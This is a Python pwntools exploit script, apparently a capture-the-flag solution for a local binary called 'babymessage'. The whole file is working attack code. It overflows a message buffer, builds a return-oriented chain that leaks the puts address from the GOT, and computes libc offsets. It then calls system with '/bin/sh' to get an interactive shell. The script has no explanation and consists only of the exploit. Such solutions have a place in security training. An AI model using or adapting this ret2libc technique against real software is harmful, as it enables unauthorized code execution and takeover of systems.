from pwn import *
context.log_level = 'debug'

p = process('./babymessage')
e = ELF('./babymessage')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')

puts_got = e.got['puts']
puts_plt = e.plt['puts']
libc_puts_symbols = libc.symbols['puts']
libc_system_symbols = libc.symbols['system']
libc_bin_sh_symbols = next(libc.search(b'/bin/sh'))
pop_rdi_ret = 0x400ac3

def leave_name(name):
    p.sendlineafter('choice:','1')
    p.sendafter('name:',name)

def leave_message(message):
    p.sendlineafter('choice:','2')
    p.sendafter('message:',message)

#gdb.attach(p,'b *0x400886')
#b *0x40099A 
leave_name(p32(0x100))
leave_message(b'a'*8 + p64(0x6010d4))

payload = b'a'*8 + p64(0x6010d4) + p64(pop_rdi_ret) + p64(puts_got) + p64(puts_plt) + p64(0x400922)
leave_message(payload)

p.recvuntil('done!')
puts_addr = u64(p.recvn(8)[2:].ljust(8,b'\x00'))
print(puts_addr)

libc_offset = puts_addr - libc_puts_symbols
system_addr = libc_offset + libc_system_symbols
binsh_addr = libc_offset + libc_bin_sh_symbols

leave_name(p32(0x100))
leave_message(b'a'*8 + p64(0x6010d4))
payload2 = b'a'*8 + p64(0x6010d4) + p64(pop_rdi_ret) + p64(binsh_addr) + p64(system_addr)
leave_message(payload2)
p.interactive()